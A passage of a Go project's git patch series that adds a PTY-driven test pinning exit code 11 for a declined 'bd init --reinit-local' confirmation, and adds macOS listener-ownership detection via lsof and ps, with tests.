fails", json: true, errors: 2, wantErr: true}, + } { + t.Run(tt.name, func(t *testing.T) { + jsonOutput = tt.json + var err error + out := captureGateStdout(t, func() { + err = printGateCheckSummary(3, 1, 0, tt.errors, false) + }) + if (err != nil) != tt.wantErr { + t.Fatalf("err = %v, wantErr %v (output %q)", err, tt.wantErr, out) + } + if !strings.Contains(out, "Checked 3 gates") { + t.Errorf("summary line missing from output %q", out) + } + if tt.wantErr && !strings.Contains(err.Error(), "could not be checked or closed") { + t.Errorf("err %q does not say the gates could not be checked or closed", err) + } + }) } } func TestCheckBeadGate_NilStoreStaysPending(t *testing.T) { - satisfied, reason := checkBeadGate(context.Background(), nil, "bd-abc") + satisfied, reason, _ := checkBeadGate(context.Background(), nil, "bd-abc") if satisfied { t.Error("expected not satisfied with no store") } From 45b62e47b5e2893ad0e9d5108549dc1be32d0887 Mon Sep 17 00:00:00 2001 From: Steve Yegge Date: Tue, 6 Oct 2026 23:06:06 +0000 Subject: [PATCH 129/325] =?UTF-8?q?test(protocol):=20pin=20=C2=A7E3=20exit?= =?UTF-8?q?=2011=20with=20a=20PTY=20harness=20(wy-vh5y8)=20(#4762)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(protocol): pin §E3 exit 11 with a PTY harness (wy-vh5y8) Exit 11 (ExitLocalExistsRefused) is returned only from the interactive typed-confirmation abort in `bd init --reinit-local` (cmd/bd/init.go, behind term.IsTerminal on stdin); the non-interactive branch of the same guard returns 12, so no piped-stdin subprocess could produce 11. WP4 (wy-ge2h8) therefore left TestProtocol_ExitCode11_LocalExistsRefused skipped. Un-skip it with a PTY-backed run: allocate a pty (creack/pty, a test-only dep already in go.sum), drive `bd init --reinit-local` against a workspace seeded with one issue, answer the "Type 'destroy N issues' to confirm:" prompt with the WRONG text, and assert exit 11 — distinct from the 12 a bad --destroy-token yields. Also asserts the abort is a no-op (the seeded issue survives). Windows skips (no unix PTY). creack/pty is imported only from _test.go, so it is a test-only dependency; no new non-test dependency enters go.mod. Co-Authored-By: Claude Opus 4.8 * chore(build): register github.com/creack/pty with Bazel and Nix The exit-11 PTY test imports github.com/creack/pty, a new direct require in go.mod. The base's generated build manifests predate it: - Bazel (`make bazel-sync`): //cmd/bd/protocol:protocol_test failed "missing strict dependencies" on the import, and go_deps reported com_github_creack_pty missing from use_repo. The sync adds it to MODULE.bazel's use_repo and adds @com_github_creack_pty//:pty to protocol_test's deps. protocol_race_off, protocol_docker_test and protocol_dolt_test all wrap protocol_test, so that one deps line covers them. Running the same sync on the base changes nothing. - Nix: default.nix sets proxyVendor = true, so vendorHash covers the module download set of go.mod's requires, and the new require changes it. Regenerated via the nixos/nix container: the go-modules fixed-output derivation now builds with no hash mismatch, and the unwrapped package compiles cmd/bd. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * test(protocol): fix exit-code header, name a skipped reinit prompt Review fixups, adopt-pr review loop iteration 1 (synthesis approve, scorecard 981/1000, no blocker or major findings). Taken: - Header (Finding 2): it said all three refusal codes (10/11/12) refuse before bd opens any store. That stopped being true once exit 11 ran: its typed confirmation fires only after --reinit-local counts the issues in a seeded workspace, so that test pays for a full store, as 130 does. The header now says 10 and 12 are store-free and 11 and 130 are not. - Prompt-skip diagnostic (Finding 3): runInitReinitPreflight skips the confirmation, with no warning, when countExistingIssues errors (it has its own 5s timeout) or counts zero. The review expected that skip to exit 0 in the early-exit arm. A mutation run with the seed issue dropped shows it does not: the reinit goes on and blocks at init's next TTY prompt, "Change role? [y/N]:", so the test fails at the prompt deadline. The deadline arm now names the skip when the output lacks the "Re-initializing will destroy" warning. Failure path only. Declined: - Shared prompt harness (Finding 1): extracting it rewrites the base-owned 130 test (pipes, SIGINT, t.Parallel) into a new helper after review. The synthesis allows accepting the duplication in the reply to the reviewer instead. - Redundant "!= 12" check (Finding 4): it mirrors the 12 test's own "codes must stay distinct" check, so the tests keep one idiom. Validation: gofmt and go vet are clean. TestProtocol_ExitCode10/11/12/130 pass against the dolthub/dolt-sql-server:2.2.0 test container with BEADS_PROTOCOL_REQUIRE_DOLT=1, so exit 11 ran rather than skipped. The seed-dropped mutant fails with the new message. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 4.8 Co-authored-by: Eddie the Engineer --- MODULE.bazel | 2 +- cmd/bd/protocol/BUILD.bazel | 1 + cmd/bd/protocol/exit_codes_init_test.go | 138 ++++++++++++++++++++++-- default.nix | 2 +- go.mod | 1 + 5 files changed, 134 insertions(+), 10 deletions(-) diff --git a/MODULE.bazel b/MODULE.bazel index e5fe1df52..91f6a2f42 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -50,7 +50,7 @@ go_deps.module_override( patches = ["//third_party/patches:gozstd_nocgo.patch"], path = "github.com/dolthub/gozstd", ) -use_repo(go_deps, "com_github_anthropics_anthropic_sdk_go", "com_github_burntsushi_toml", "com_github_cenkalti_backoff_v4", "com_github_charmbracelet_x_ansi", "com_github_data_dog_go_sqlmock", "com_github_dolthub_dolt_go", "com_github_dolthub_driver_v2", "com_github_dolthub_eventkit", "com_github_dolthub_go_mysql_server", "com_github_dolthub_vitess", "com_github_go_sql_driver_mysql", "com_github_google_uuid", "com_github_gowebpki_jcs", "com_github_invopop_jsonschema", "com_github_johanneskaufmann_html_to_markdown_v2", "com_github_mattn_go_sqlite3", "com_github_microcosm_cc_bluemonday", "com_github_oapi_codegen_oapi_codegen_v2", "com_github_olebedev_when", "com_github_spf13_cobra", "com_github_spf13_pflag", "com_github_spf13_viper", "com_github_stretchr_testify", "com_github_subosito_gotenv", "com_github_testcontainers_testcontainers_go", "com_github_testcontainers_testcontainers_go_modules_dolt", "com_github_yuin_goldmark", "in_gopkg_yaml_v3", "io_opentelemetry_go_otel", "io_opentelemetry_go_otel_exporters_otlp_otlpmetric_otlpmetrichttp", "io_opentelemetry_go_otel_exporters_stdout_stdoutmetric", "io_opentelemetry_go_otel_exporters_stdout_stdouttrace", "io_opentelemetry_go_otel_metric", "io_opentelemetry_go_otel_sdk", "io_opentelemetry_go_otel_sdk_metric", "io_opentelemetry_go_otel_trace", "io_rsc_script", "land_charm_glamour_v2", "land_charm_huh_v2", "land_charm_lipgloss_v2", "org_golang_x_mod", "org_golang_x_net", "org_golang_x_sync", "org_golang_x_sys", "org_golang_x_term") +use_repo(go_deps, "com_github_anthropics_anthropic_sdk_go", "com_github_burntsushi_toml", "com_github_cenkalti_backoff_v4", "com_github_charmbracelet_x_ansi", "com_github_creack_pty", "com_github_data_dog_go_sqlmock", "com_github_dolthub_dolt_go", "com_github_dolthub_driver_v2", "com_github_dolthub_eventkit", "com_github_dolthub_go_mysql_server", "com_github_dolthub_vitess", "com_github_go_sql_driver_mysql", "com_github_google_uuid", "com_github_gowebpki_jcs", "com_github_invopop_jsonschema", "com_github_johanneskaufmann_html_to_markdown_v2", "com_github_mattn_go_sqlite3", "com_github_microcosm_cc_bluemonday", "com_github_oapi_codegen_oapi_codegen_v2", "com_github_olebedev_when", "com_github_spf13_cobra", "com_github_spf13_pflag", "com_github_spf13_viper", "com_github_stretchr_testify", "com_github_subosito_gotenv", "com_github_testcontainers_testcontainers_go", "com_github_testcontainers_testcontainers_go_modules_dolt", "com_github_yuin_goldmark", "in_gopkg_yaml_v3", "io_opentelemetry_go_otel", "io_opentelemetry_go_otel_exporters_otlp_otlpmetric_otlpmetrichttp", "io_opentelemetry_go_otel_exporters_stdout_stdoutmetric", "io_opentelemetry_go_otel_exporters_stdout_stdouttrace", "io_opentelemetry_go_otel_metric", "io_opentelemetry_go_otel_sdk", "io_opentelemetry_go_otel_sdk_metric", "io_opentelemetry_go_otel_trace", "io_rsc_script", "land_charm_glamour_v2", "land_charm_huh_v2", "land_charm_lipgloss_v2", "org_golang_x_mod", "org_golang_x_net", "org_golang_x_sync", "org_golang_x_sys", "org_golang_x_term") # Hermetic Dolt CLI for tests (tools/bazel/dolt.bzl pins the release to # scripts/ci/install-dolt.sh). //tools/bazel:dolt selects the repository for diff --git a/cmd/bd/protocol/BUILD.bazel b/cmd/bd/protocol/BUILD.bazel index 3d551d4fe..fe4310f4c 100644 --- a/cmd/bd/protocol/BUILD.bazel +++ b/cmd/bd/protocol/BUILD.bazel @@ -49,6 +49,7 @@ go_test( "//internal/storage/schema", "//internal/testutil", "//internal/testutil/bazeltest", + "@com_github_creack_pty//:pty", ], ) diff --git a/cmd/bd/protocol/exit_codes_init_test.go b/cmd/bd/protocol/exit_codes_init_test.go index 4114277c2..c4b95dadf 100644 --- a/cmd/bd/protocol/exit_codes_init_test.go +++ b/cmd/bd/protocol/exit_codes_init_test.go @@ -13,10 +13,12 @@ // spelling still has to exit 10 when it refuses a divergent init. New stable // codes require a spec revision. // -// The refusal codes (10/11/12) are cheap to drive: `bd init` refuses before it +// The refusal codes 10 and 12 are cheap to drive: `bd init` refuses before it // opens any store, so those tests need only a built binary and a temp git repo. -// 130 is the exception — cancellation is only reachable on the success path, so -// that test pays a full store creation before the prompt it interrupts. +// 11 and 130 each pay for a full store before the prompt they exercise: 11's +// typed confirmation fires only once --reinit-local has counted the issues in a +// seeded workspace, and 130's cancellation is only reachable on the success +// path, after the store is created. package protocol import ( @@ -31,6 +33,8 @@ import ( "sync" "testing" "time" + + "github.com/creack/pty" ) // Literal exit codes frozen by §E3. Deliberately NOT bd's Go constants: the @@ -166,15 +170,133 @@ func TestProtocol_ExitCode12_DestroyTokenMissing(t *testing.T) { } } -// TestProtocol_ExitCode11_LocalExistsRefused is the §E3 gap: exit 11 is +// TestProtocol_ExitCode11_LocalExistsRefused pins §E3's exit 11: exit 11 is // returned only from the INTERACTIVE typed-confirmation abort in // `bd init --reinit-local` (cmd/bd/init.go, guarded by term.IsTerminal on // stdin). The non-interactive branch of the same guard returns 12 instead, so -// no piped-stdin subprocess can produce 11 — pinning it needs a PTY-backed run -// helper, tracked in wy-vh5y8. Un-skip when that lands. +// no piped-stdin subprocess can produce 11 — the prompt only fires on a real +// terminal. This test allocates a PTY (creack/pty, a test-only dependency), +// drives `bd init --reinit-local` on it against a workspace with issues, answers +// the "Type 'destroy N issues' to confirm:" prompt with the WRONG text, and +// asserts the abort exits 11 — distinct from the 12 an agent supplying a bad +// --destroy-token would get, so a script can tell "the operator declined at the +// prompt" from "the token was wrong". func TestProtocol_ExitCode11_LocalExistsRefused(t *testing.T) { - t.Skip("exit 11 is reachable only through an interactive TTY prompt; needs a PTY harness (wy-vh5y8)") - _ = exitLocalExistsRefused + if runtime.GOOS == "windows" { + t.Skip("no unix PTY on Windows; the exit-11 interactive prompt is unreachable here") + } + // Deliberately NOT t.Parallel(): this test drives a PTY with a generous + // prompt deadline and a reader goroutine. newWorkspace already gives it an + // isolated per-test Dolt database, so serializing it costs nothing but keeps + // the PTY interaction free of contention noise. + + w := newWorkspace(t) + // The exit-11 prompt only fires when --reinit-local has data to destroy: + // countExistingIssues must return > 0, so seed one issue. + w.create("--title", "seed issue for exit-11 refusal", "--type", "task") + + cmd := exec.Command(w.bd, "init", "--reinit-local") + cmd.Dir = w.dir + // CI= / BD_NON_INTERACTIVE=0 mirror the 130 test: strip any ambient signal + // that would push bd onto a non-interactive path. The exit-11 branch keys on + // term.IsTerminal(stdin) directly, which the PTY below already satisfies; + // these just guard against an earlier non-interactive short-circuit. + cmd.Env = append(w.env(), "BD_NON_INTERACTIVE=0", "CI=") + + ptmx, err := pty.Start(cmd) + if err != nil { + t.Fatalf("pty.Start bd init --reinit-local: %v", err) + } + defer func() { _ = ptmx.Close() }() + + var ( + mu sync.Mutex + output bytes.Buffer + promptSeen = make(chan struct{}) + once sync.Once + ) + // Drain the PTY continuously: the child writes the warning and prompt to the + // same terminal, and an unread PTY can block the writer. Signal promptSeen + // once the confirmation prompt appears. + go func() { + buf := make([]byte, 4096) + for { + n, readErr := ptmx.Read(buf) + if n > 0 { + mu.Lock() + output.Write(buf[:n]) + if strings.Contains(output.String(), "to confirm:") { + once.Do(func() { close(promptSeen) }) + } + mu.Unlock() + } + if readErr != nil { + return + } + } + }() + + waitCh := make(chan error, 1) + go func() { waitCh <- cmd.Wait() }() + + got := func() string { + mu.Lock() + defer mu.Unlock() + return output.String() + } + + // Like the 130 test, the deadline covers a whole store connection, not just + // process startup: reaching the prompt means counting the existing issues, + // which opens the workspace's Dolt store — tens of seconds on a loaded box. + const promptDeadline = 120 * time.Second + select { + case <-promptSeen: + case err := <-waitCh: + t.Fatalf("bd init --reinit-local exited before prompting: %v\n%s", err, got()) + case <-time.After(promptDeadline): + _ = cmd.Process.Kill() + <-waitCh + out := got() + if !strings.Contains(out, "Re-initializing will destroy") { + // runInitReinitPreflight skips the confirmation, without a warning, + // when countExistingIssues errors (it has its own 5s timeout) or + // counts zero. The reinit then goes on and blocks at init's next + // TTY prompt (e.g. "Change role? [y/N]:"), which lands here. + t.Fatalf("timed out waiting for the destroy-confirmation prompt: the reinit preflight never warned, so it skipped the confirmation (its issue count failed, e.g. the 5s store timeout lapsed, or found none)\n%s", out) + } + t.Fatalf("timed out waiting for the destroy-confirmation prompt\n%s", out) + } + + // Answer with text that is NOT "destroy N issues": the typed-confirmation + // mismatch is exactly what returns exit 11. + if _, err := ptmx.Write([]byte("definitely not the confirmation\n")); err != nil { + t.Fatalf("write wrong confirmation to PTY: %v", err) + } + + var waitErr error + select { + case waitErr = <-waitCh: + case <-time.After(30 * time.Second): + _ = cmd.Process.Kill() + <-waitCh + t.Fatalf("bd did not exit after the wrong confirmation\n%s", got()) + } + + var exitErr *exec.ExitError + if !errors.As(waitErr, &exitErr) { + t.Fatalf("expected a non-zero exit after wrong confirmation, got %v\n%s", waitErr, got()) + } + if code := exitErr.ExitCode(); code != exitLocalExistsRefused { + t.Errorf("exit code = %d, want %d (§E3 local-exists refusal)\n%s", code, exitLocalExistsRefused, got()) + } + if code := exitErr.ExitCode(); code == exitDestroyTokenMissing { + t.Errorf("local-exists refusal collapsed into the destroy-token code — §E3 codes must stay distinct") + } + + // The abort must be a no-op: the seeded issue must survive. + if out := w.run("list", "--json"); !strings.Contains(out, "seed issue for exit-11 refusal") { + t.Errorf("aborted reinit destroyed data — seeded issue missing:\n%s", out) + } } // TestProtocol_ExitCode130_PromptCanceled pins §E3's exit 130: SIGINT at an diff --git a/default.nix b/default.nix index d9418ef3e..8f5fdadf4 100644 --- a/default.nix +++ b/default.nix @@ -19,7 +19,7 @@ buildGoModule { # proxyVendor avoids vendor/modules.txt consistency checks when the vendored # tree lags go.mod/go.sum. proxyVendor = true; - vendorHash = "sha256-hVZpgCMYmR64mVQWZjdEjjJhQdhPeFYRlAKh4VXKHiE="; + vendorHash = "sha256-9OqMZK3wL838RGOXuOsKZvcyqk43tCmv75EUo+iqSVQ="; # Match go.mod to the selected Nix Go toolchain. buildGoModule also builds # vendored dependencies in the Nix sandbox, where toolchain downloads are not diff --git a/go.mod b/go.mod index 40c6d484e..8c47b11c6 100644 --- a/go.mod +++ b/go.mod @@ -13,6 +13,7 @@ require ( github.com/JohannesKaufmann/html-to-markdown/v2 v2.5.2 github.com/anthropics/anthropic-sdk-go v1.71.0 github.com/cenkalti/backoff/v4 v4.3.0 + github.com/creack/pty v1.1.24 github.com/dolthub/driver/v2 v2.2.0 github.com/dolthub/eventkit v0.0.0-20260611184414-99f5693e696a github.com/go-sql-driver/mysql v1.10.1 From d4309098e5551e183b1750b6d11afa7168c95e9a Mon Sep 17 00:00:00 2001 From: Bee Date: Tue, 6 Oct 2026 23:24:18 +0000 Subject: [PATCH 130/325] fix(doltserver): prove listener ownership on darwin with lsof and ps (#7232) (#7257) On macOS listenerOwnership always answered known=false, so once a foreign process greeted on the port chosen for a new dolt sql-server, Start adopted that listener as its own (the default log level emits no ready line to disprove it). TestStart_RecoversWhenEphemeralPortIsTaken has failed on the Main workflow's macOS job on every push since #7201 (14/14 completed runs); PR CI has no macOS test job, so no PR saw it. Darwin has no /proc, so the listener's processes come from lsof and the process tree from ps, the two tools this package already uses to find a port's holder and a server's working directory. Each pid lsof lists on the port is walked up its parent chain; reaching the child proves the listener is the child's (or a descendant's, for a wrapper that does not exec). Both reads run only once a greeting has arrived, never on the bare poll. known is false when either tool fails or lists no listener at all, and Start then falls back to the greeting as before. A child that no longer exists is known not to own anything, as on Linux. The tests that were Linux-only because ownership was only provable there now run on darwin too, and the darwin file gets its own fake-read table, parser tests, and a real-tool test with an in-process listener and a listener in a grandchild process. On this machine the formerly red test passes 10/10 (it failed 40/40 on main). Co-authored-by: Claude Fable 5.1 --- internal/doltserver/BUILD.bazel | 2 + internal/doltserver/listenerowner_darwin.go | 141 ++++++++++++++++++ .../doltserver/listenerowner_darwin_test.go | 140 +++++++++++++++++ internal/doltserver/listenerowner_other.go | 2 +- internal/doltserver/startowned.go | 4 +- internal/doltserver/startowned_test.go | 16 +- 6 files changed, 294 insertions(+), 11 deletions(-) create mode 100644 internal/doltserver/listenerowner_darwin.go create mode 100644 internal/doltserver/listenerowner_darwin_test.go diff --git a/internal/doltserver/BUILD.bazel b/internal/doltserver/BUILD.bazel index 05e2b6db0..7fd648465 100644 --- a/internal/doltserver/BUILD.bazel +++ b/internal/doltserver/BUILD.bazel @@ -7,6 +7,7 @@ go_library( "doltserver_unix.go", "doltserver_windows.go", "gc_config.go", + "listenerowner_darwin.go", "listenerowner_linux.go", "listenerowner_other.go", "logrotate.go", @@ -63,6 +64,7 @@ go_test( "fdleak_integration_test.go", "gc_config_test.go", "lifecycle_integration_test.go", + "listenerowner_darwin_test.go", "listenerowner_linux_test.go", "logrotate_test.go", "managed_server_proof_test.go", diff --git a/internal/doltserver/listenerowner_darwin.go b/internal/doltserver/listenerowner_darwin.go new file mode 100644 index 000000000..6e7f9a412 --- /dev/null +++ b/internal/doltserver/listenerowner_darwin.go @@ -0,0 +1,141 @@ +//go:build darwin + +package doltserver + +import ( + "errors" + "os/exec" + "strconv" + "strings" + "syscall" +) + +// The two process reads listenerOwnership makes on darwin; tests replace them. +var ( + listeningPIDs = lsofListeningPIDs + processParents = psParentPIDs +) + +// listenerOwnership reports whether a TCP listener on port belongs to pid or +// one of its descendants. Darwin has no /proc, so the listener's processes +// come from lsof and the process tree from ps, the same two tools this +// package already uses to find a port's holder and a server's working +// directory. Descendants cover a dolt behind a wrapper script that does not +// exec: the listener's ancestor chain then passes through the wrapper, which +// is the child bd launched. +// +// known is false when the tools cannot answer, and the caller then falls back +// to weaker readiness evidence: +// - lsof or ps is missing or fails; +// - no listener on port is listed at all, although one just answered: lsof +// cannot see another user's sockets without privilege, or the connection +// is forwarded elsewhere. +// +// A child that no longer exists is known not to own anything. +// +// Both reads run only once a greeting has arrived on the port, never on the +// bare readiness poll, and together cost on the order of 100ms. +func listenerOwnership(pid, port int) (owned, known bool) { + if !processExists(pid) { + return false, true + } + holders, err := listeningPIDs(port) + if err != nil || len(holders) == 0 { + return false, false + } + parents, err := processParents() + if err != nil || len(parents) == 0 { + return false, false + } + for _, holder := range holders { + if descendsFrom(holder, pid, parents) { + return true, true + } + } + return false, true +} + +// processExists is true while pid names a process this user may signal, or +// one that exists but belongs to someone else. +func processExists(pid int) bool { + if pid <= 0 { + return false + } + err := syscall.Kill(pid, 0) + return err == nil || errors.Is(err, syscall.EPERM) +} + +// descendsFrom reports whether p is ancestor itself or one of its +// descendants, walking p's parent chain through parents (child -> parent). +// A chain that reaches a pid the snapshot does not list, pid 0, or a cycle +// (a stale snapshot) is not a match. +func descendsFrom(p, ancestor int, parents map[int]int) bool { + seen := map[int]bool{} + for p > 0 && !seen[p] { + if p == ancestor { + return true + } + seen[p] = true + next, ok := parents[p] + if !ok { + return false + } + p = next + } + return false +} + +// lsofListeningPIDs lists the processes holding a TCP listener on port. +// -n and -P skip host and port name lookups, which otherwise dominate the +// run time; -t prints one pid per line. lsof exits 1 with no output when +// nothing matches, which is reported as no listener, not as an error, so the +// caller treats both the same way. +func lsofListeningPIDs(port int) ([]int, error) { + out, err := exec.Command("lsof", "-nP", "-t", "-iTCP:"+strconv.Itoa(port), "-sTCP:LISTEN").Output() //nolint:gosec // G702: port is an internal int, not user input + if err != nil && len(out) == 0 { + var exitErr *exec.ExitError + if errors.As(err, &exitErr) && exitErr.ExitCode() == 1 { + return nil, nil + } + return nil, err + } + return parseLsofPIDs(out), nil +} + +// parseLsofPIDs reads `lsof -t` output: one pid per line. +func parseLsofPIDs(out []byte) []int { + var pids []int + for _, line := range strings.Split(string(out), "\n") { + if pid, err := strconv.Atoi(strings.TrimSpace(line)); err == nil && pid > 0 { + pids = append(pids, pid) + } + } + return pids +} + +// psParentPIDs snapshots every process's parent from `ps -axo pid=,ppid=`. +func psParentPIDs() (map[int]int, error) { + out, err := exec.Command("ps", "-axo", "pid=,ppid=").Output() + if err != nil { + return nil, err + } + return parsePSParents(out), nil +} + +// parsePSParents reads `ps -axo pid=,ppid=` output into child -> parent. +func parsePSParents(out []byte) map[int]int { + parents := map[int]int{} + for _, line := range strings.Split(string(out), "\n") { + fields := strings.Fields(line) + if len(fields) != 2 { + continue + } + pid, err1 := strconv.Atoi(fields[0]) + ppid, err2 := strconv.Atoi(fields[1]) + if err1 != nil || err2 != nil || pid <= 0 { + continue + } + parents[pid] = ppid + } + return parents +} diff --git a/internal/doltserver/listenerowner_darwin_test.go b/internal/doltserver/listenerowner_darwin_test.go new file mode 100644 index 000000000..01f514d37 --- /dev/null +++ b/internal/doltserver/listenerowner_darwin_test.go @@ -0,0 +1,140 @@ +//go:build darwin + +package doltserver + +import ( + "errors" + "os" + "os/exec" + "strconv" + "testing" + "time" +) + +func withProcessReads(t *testing.T, pids func(int) ([]int, error), parents func() (map[int]int, error)) { + t.Helper() + origPIDs, origParents := listeningPIDs, processParents + listeningPIDs, processParents = pids, parents + t.Cleanup(func() { listeningPIDs, processParents = origPIDs, origParents }) +} + +func TestListenerOwnership_FakeReads(t *testing.T) { + self := os.Getpid() + tree := map[int]int{self: 1, 501: self, 502: 501, 600: 1, 700: 700} + cases := []struct { + name string + pids []int + pidsErr error + parents map[int]int + parentsErr error + owned bool + known bool + }{ + {name: "child holds the listener", pids: []int{self}, parents: tree, owned: true, known: true}, + {name: "grandchild holds the listener (wrapper)", pids: []int{502}, parents: tree, owned: true, known: true}, + {name: "foreign process holds it", pids: []int{600}, parents: tree, owned: false, known: true}, + {name: "foreign and own both listed", pids: []int{600, 501}, parents: tree, owned: true, known: true}, + {name: "holder missing from the snapshot", pids: []int{999}, parents: tree, owned: false, known: true}, + {name: "cyclic snapshot does not loop", pids: []int{700}, parents: tree, owned: false, known: true}, + {name: "no listener listed", pids: nil, parents: tree, owned: false, known: false}, + {name: "lsof fails", pidsErr: errors.New("lsof: not found"), parents: tree, owned: false, known: false}, + {name: "ps fails", pids: []int{self}, parentsErr: errors.New("ps: not found"), owned: false, known: false}, + {name: "empty snapshot", pids: []int{self}, parents: map[int]int{}, owned: false, known: false}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + withProcessReads(t, + func(int) ([]int, error) { return tc.pids, tc.pidsErr }, + func() (map[int]int, error) { return tc.parents, tc.parentsErr }, + ) + owned, known := listenerOwnership(self, 1) + if owned != tc.owned || known != tc.known { + t.Errorf("listenerOwnership = (%v, %v), want (%v, %v)", owned, known, tc.owned, tc.known) + } + }) + } +} + +func TestListenerOwnership_DeadChildIsKnown(t *testing.T) { + withProcessReads(t, + func(int) ([]int, error) { t.Fatal("listener read on a dead child"); return nil, nil }, + func() (map[int]int, error) { t.Fatal("tree read on a dead child"); return nil, nil }, + ) + if owned, known := listenerOwnership(1<<30, 1); owned || !known { + t.Errorf("listenerOwnership(no such pid) = (%v, %v), want (false, true)", owned, known) + } +} + +func TestParseLsofPIDs(t *testing.T) { + got := parseLsofPIDs([]byte("12245\n\n 77360 \nnot-a-pid\n0\n")) + want := []int{12245, 77360} + if len(got) != len(want) { + t.Fatalf("parseLsofPIDs = %v, want %v", got, want) + } + for i := range want { + if got[i] != want[i] { + t.Fatalf("parseLsofPIDs = %v, want %v", got, want) + } + } +} + +func TestParsePSParents(t *testing.T) { + got := parsePSParents([]byte(" 1 0\n 501 1\n12245 501\nbad line here\n 77360 x\n")) + want := map[int]int{1: 0, 501: 1, 12245: 501} + if len(got) != len(want) { + t.Fatalf("parsePSParents = %v, want %v", got, want) + } + for k, v := range want { + if got[k] != v { + t.Fatalf("parsePSParents[%d] = %d, want %d", k, got[k], v) + } + } +} + +// TestListenerOwnership_RealTools mirrors the Linux real-/proc test: our own +// in-process listener is ours, a pid that does not exist owns nothing, a +// sibling process's listener is not ours, and a listener in a child process +// we spawn is ours through the tree. +func TestListenerOwnership_RealTools(t *testing.T) { + if _, err := exec.LookPath("lsof"); err != nil { + t.Skip("lsof not on PATH") + } + port := foreignGreeter(t) + if owned, known := listenerOwnership(os.Getpid(), port); !owned || !known { + t.Errorf("listenerOwnership(self, own listener) = (%v, %v), want (true, true)", owned, known) + } + if owned, known := listenerOwnership(1<<30, port); owned || !known { + t.Errorf("listenerOwnership(no such pid) = (%v, %v), want (false, true)", owned, known) + } + + // A child that holds its own listener: nc -l on a fresh port, under a + // shell that does not exec it, so the listener is a grandchild. + ncPort := freeLoopbackPort(t) + cmd := exec.Command("sh", "-c", "nc -l 127.0.0.1 "+strconv.Itoa(ncPort)+"; exit 0") + if err := cmd.Start(); err != nil { + t.Skipf("cannot start nc under sh: %v", err) + } + t.Cleanup(func() { _ = cmd.Process.Kill(); _ = cmd.Wait() }) + deadline := time.Now().Add(5 * time.Second) + for { + pids, err := listeningPIDs(ncPort) + if err == nil && len(pids) > 0 { + break + } + if time.Now().After(deadline) { + t.Skip("nc never listened within 5s") + } + time.Sleep(50 * time.Millisecond) + } + if owned, known := listenerOwnership(cmd.Process.Pid, ncPort); !owned || !known { + t.Errorf("listenerOwnership(sh child, grandchild nc listener) = (%v, %v), want (true, true)", owned, known) + } + if owned, known := listenerOwnership(os.Getpid(), ncPort); !owned || !known { + t.Errorf("listenerOwnership(self, descendant nc listener) = (%v, %v), want (true, true)", owned, known) + } + // The child does not own its parent's listener: the tree is walked up + // from the holder, never down from the pid being asked about. + if owned, known := listenerOwnership(cmd.Process.Pid, port); owned || !known { + t.Errorf("listenerOwnership(sh child, parent's listener) = (%v, %v), want (false, true)", owned, known) + } +} diff --git a/internal/doltserver/listenerowner_other.go b/internal/doltserver/listenerowner_other.go index 5194e01b0..a6723185d 100644 --- a/internal/doltserver/listenerowner_other.go +++ b/internal/doltserver/listenerowner_other.go @@ -1,4 +1,4 @@ -//go:build !linux +//go:build !linux && !darwin package doltserver diff --git a/internal/doltserver/startowned.go b/internal/doltserver/startowned.go index ff4454892..92daa5b5b 100644 --- a/internal/doltserver/startowned.go +++ b/internal/doltserver/startowned.go @@ -142,8 +142,8 @@ const ( // own startup, which under load takes longer than any fixed grace period, so // a greeting only counts once the listener is shown to be the child's: by // dolt's ready line in the child's output when its log level emits one, or -// else by the listening socket belonging to the child's process tree (Linux, -// via /proc). When the socket is shown to belong to someone else the wait +// else by the listening socket belonging to the child's process tree (Linux +// via /proc, darwin via lsof and ps). When the socket is shown to belong to someone else the wait // ends at once with ErrPortInUse. Where neither proof is available the // greeting decides, as before, unless the log level promises a ready line. // Either way a child that exits, or says its port is taken, ends the wait, diff --git a/internal/doltserver/startowned_test.go b/internal/doltserver/startowned_test.go index f672b940e..9626ecbcd 100644 --- a/internal/doltserver/startowned_test.go +++ b/internal/doltserver/startowned_test.go @@ -110,8 +110,8 @@ func TestAwaitOwnedListener_ForeignListenerIsNotReady(t *testing.T) { {name: "ownership says foreign", owner: func(int, int) (bool, bool) { return false, true }}, } { t.Run(tc.name, func(t *testing.T) { - if tc.owner == nil && runtime.GOOS != "linux" { - t.Skip("listener ownership is only provable on linux") + if tc.owner == nil && runtime.GOOS != "linux" && runtime.GOOS != "darwin" { + t.Skip("listener ownership is only provable on linux and darwin") } port := foreignGreeter(t) logPath := filepath.Join(t.TempDir(), "dolt-server.log") @@ -166,7 +166,7 @@ func TestAwaitOwnedListener_OwnListenerIsReady(t *testing.T) { }); err != nil { t.Fatalf("awaitOwnedListener on the child's own listener: %v", err) } - if runtime.GOOS == "linux" { + if runtime.GOOS == "linux" || runtime.GOOS == "darwin" { if owned, known := listenerOwnership(srv.pid, port); !owned || !known { t.Errorf("listenerOwnership(child) = (%v, %v), want (true, true)", owned, known) } @@ -206,8 +206,8 @@ func TestAwaitOwnedListener_ChildExitIsReported(t *testing.T) { // child's startup (which under load can outlast the ready timeout and turn a // movable port into a hard failure); it returns ErrPortInUse straight away. func TestAwaitOwnedListener_ProvenForeignEndsWaitAtOnce(t *testing.T) { - if runtime.GOOS != "linux" { - t.Skip("listener ownership is only provable on linux") + if runtime.GOOS != "linux" && runtime.GOOS != "darwin" { + t.Skip("listener ownership is only provable on linux and darwin") } port := foreignGreeter(t) logPath := filepath.Join(t.TempDir(), "dolt-server.log") @@ -378,15 +378,15 @@ func TestStart_RecoversWhenEphemeralPortIsTaken(t *testing.T) { if got := calls.Load(); got != 2 { t.Errorf("allocateEphemeralPort called %d times, want 2 (the taken port, then a fresh one)", got) } - // On Linux the first child can be killed before it records its launch: - // /proc proves the port foreign as soon as the greeting arrives. + // On Linux and darwin the first child can be killed before it records its launch: + // the process tree proves the port foreign as soon as the greeting arrives. if got := launchedPorts(t, launches); len(got) == 0 || got[len(got)-1] != fmt.Sprint(state.Port) { t.Errorf("launches = %v, want the last one on the final port %d", got, state.Port) } if got := readPortFile(beadsDir); got != state.Port { t.Errorf("port file = %d, want %d", got, state.Port) } - if runtime.GOOS == "linux" { + if 